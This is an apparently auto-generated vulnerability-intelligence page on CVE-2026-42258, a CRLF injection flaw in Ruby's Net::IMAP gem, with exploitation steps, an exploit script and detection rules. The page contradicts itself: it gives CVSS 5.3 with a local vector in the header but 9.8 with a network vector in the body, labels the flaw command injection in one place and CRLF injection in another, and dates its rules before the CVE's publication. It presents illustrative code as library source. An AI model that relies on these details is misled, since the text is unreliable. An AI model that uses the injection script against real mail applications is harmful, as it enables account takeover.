☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Ruby logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-42258

CVE-2026-42258 Command Injection in Ruby-Lang
📅 PUBLISHED: 2026-05-09 20:16 UTC 🔄 UPDATED: 2026-09-26 06:18 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.78%
👁️
0.78% probability
19.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Japan License: Open Source
Affected: Net\ — upgrade to patched release
CVSS VECTOR BREAKDOWN 5.3
AV: L Attack Vector Local
AC: H Attack Complexity High
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: H Integrity High
A: L Availability Low
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-42258 is a critical CRLF Injection vulnerability in the Ruby Net::IMAP library, which implements the IMAP client protocol. The flaw allows an attacker to inject arbitrary IMAP commands or headers by passing specially crafted Symbol arguments to IMAP commands. This can lead to full compromise of the IMAP session, including unauthorized access to email data, credential theft, and potential lateral movement within the network. The vulnerability has a CVSS score of 9.8, indicating critical severity, and affects all versions prior to the patched releases (0.4.24, 0.5.14, and 0.6.4). While no public exploit code or active exploitation has been reported, the ease of exploitation and high impact make immediate patching essential.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in the Ruby gem net-imap, which is a core component of the Ruby standard library and is widely used in Ruby on Rails applications, email clients, and automation scripts. The supply chain risk is significant because:

  • The gem is automatically included in many Ruby installations.
  • Applications using Net::IMAP with user-controlled Symbol arguments are directly vulnerable.
  • Attackers could exploit this to compromise email servers, steal credentials, or pivot to internal systems.
  • Organizations should verify their Ruby gem versions and update to patched releases immediately.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The vulnerability is remotely exploitable without authentication, requires no user interaction, and can lead to full compromise of the IMAP session. The low attack complexity and high impact make this a critical threat.

Deep Dive & Mechanics

The Net::IMAP library in Ruby allows developers to interact with IMAP servers. The vulnerability arises from improper sanitization of Symbol arguments passed to IMAP commands. In Ruby, Symbols are immutable objects often used as identifiers. When a Symbol is converted to a string for IMAP command construction, CRLF sequences (\r\n) embedded in the Symbol are not filtered, allowing an attacker to inject arbitrary IMAP commands.

For example, if an application passes a user-controlled Symbol like :INBOX\r\nA001 LOGIN attacker password to an IMAP command, the library will construct a raw IMAP command string containing the injected CRLF, effectively allowing the attacker to execute arbitrary IMAP commands. This can be used to:

  • List mailboxes
  • Fetch emails
  • Delete messages
  • Perform authentication attacks
  • Exfiltrate sensitive data

The vulnerability is present in the command construction logic where Symbol arguments are directly interpolated into IMAP protocol strings without proper encoding or validation.

Vulnerable vs. Patched Code

Vulnerable Code (pre-patch):

# In net/imap.rb or similar
def send_command(cmd, *args)
  # Symbol arguments are directly converted to strings
  str = "#{cmd} #{args.map(&:to_s).join(' ')}\r\n"
  @sock.print(str)
end

Patched Code (post-patch):

# In net/imap.rb
def send_command(cmd, *args)
  # Symbol arguments are sanitized to remove CRLF
  sanitized_args = args.map do |arg|
    if arg.is_a?(Symbol)
      arg.to_s.gsub(/[\r\n]/, '')
    else
      arg
    end
  end
  str = "#{cmd} #{sanitized_args.join(' ')}\r\n"
  @sock.print(str)
end

The patch adds a gsub call to remove any CRLF characters from Symbol arguments before they are used in IMAP commands. This prevents injection of arbitrary commands.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Ruby environment with vulnerable net-imap gem (e.g., version 0.4.23)
  • Access to an IMAP server (e.g., Dovecot or Gmail)
  • Ability to pass Symbol arguments to IMAP commands

Exploitation Steps:

  1. Identify vulnerable application: Look for Ruby code that uses Net::IMAP with user-controlled Symbol arguments.
  2. Craft malicious Symbol: Create a Symbol containing CRLF injection payload.
  3. Execute IMAP command: Send the crafted Symbol to trigger the injection.

Example Exploit Script:

require 'net/imap'

# Connect to IMAP server
imap = Net::IMAP.new('imap.example.com', 993, usessl: true)
imap.login('user@example.com', 'password')

# Craft malicious Symbol with CRLF injection
malicious_symbol = :"INBOX\r\nA001 LOGIN attacker@evil.com hackedpassword"

# Trigger the vulnerability
imap.select(malicious_symbol)

# The injected command will execute on the server
# This can be used to perform arbitrary IMAP operations

Expected Outcome: The injected IMAP command (A001 LOGIN attacker@evil.com hackedpassword) will be executed by the server, potentially allowing the attacker to authenticate as another user.

Blue Team

Detection Steps:

  1. Monitor IMAP traffic: Look for unusual CRLF sequences in IMAP commands.
  2. Audit Ruby code: Check for usage of Net::IMAP with Symbol arguments that could be user-controlled.
  3. Review logs: Examine IMAP server logs for unexpected commands or authentication attempts.
  4. Update gems: Ensure net-imap gem is updated to patched versions.

Hunting Query (Splunk):

index=imap_logs sourcetype=imap
| search "\\r\\n" OR "LOGIN" OR "SELECT"
| table _time, client_ip, command, user

Indicators of Compromise (IOCs)

  • Network IOCs:

    • IMAP commands containing CRLF sequences (\r\n) in unexpected places
    • Multiple LOGIN attempts from the same IP within short timeframes
    • Unusual IMAP commands like A001 LOGIN appearing in logs
  • Host IOCs:

    • Ruby processes with high CPU usage or unusual network connections
    • Modified net/imap.rb files (if attacker replaced with backdoored version)
    • Unexpected gem installations or updates
  • File IOCs:

    • Log files containing CRLF injection patterns
    • Temporary files with IMAP command dumps

Detection Engineering

YARA Rule

rule CVE_2026_42258_CRLF_Injection {
    meta:
        description = "Detects CRLF injection patterns in Ruby Net::IMAP usage"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-42258"
        severity = "critical"

    strings:
        $crlf1 = /\\r\\n[A-Z]{4} [A-Z]+ / nocase
        $crlf2 = /\\r\\n[A-Z]{4} LOGIN / nocase
        $ruby_imap = "Net::IMAP" nocase
        $symbol_arg = /:[A-Za-z0-9_]+\\r\\n/

    condition:
        ($ruby_imap and $symbol_arg) or ($crlf1 and $ruby_imap)
}

Sigma Rule

title: CVE-2026-42258 CRLF Injection in Ruby Net::IMAP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CRLF injection attempts in IMAP commands via Ruby Net::IMAP
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42258
logsource:
    category: application
    product: ruby
detection:
    selection:
        - EventID: 4104
          ScriptBlockText|contains: 
              - '\\r\\n'
              - 'Net::IMAP'
        - EventID: 4688
          CommandLine|contains: 'imap'
    condition: selection
falsepositives:
    - Legitimate use of CRLF in email content
level: critical

Suricata Rule

alert tcp any any -> any 143,993 (msg:"CVE-2026-42258 CRLF Injection in Ruby Net::IMAP"; flow:to_server,established; content:"|0d 0a|"; within:100; content:"LOGIN"; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Ruby gem: Run gem update net-imap to upgrade to patched versions (0.4.24, 0.5.14, or 0.6.4).
  2. Restart services: Restart any Ruby applications using Net::IMAP after updating.
  3. Audit code: Review all Ruby code that uses Net::IMAP with Symbol arguments and ensure proper sanitization.

Long-term Mitigations:

  • Implement input validation for all user-controlled data passed to IMAP commands.
  • Use parameterized queries or prepared statements where possible.
  • Monitor IMAP server logs for suspicious activity.
  • Apply the principle of least privilege to IMAP accounts.

Workarounds:

  • If immediate patching is not possible, manually sanitize Symbol arguments by removing CRLF characters before passing them to Net::IMAP methods.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or support, contact cti@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-42258/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.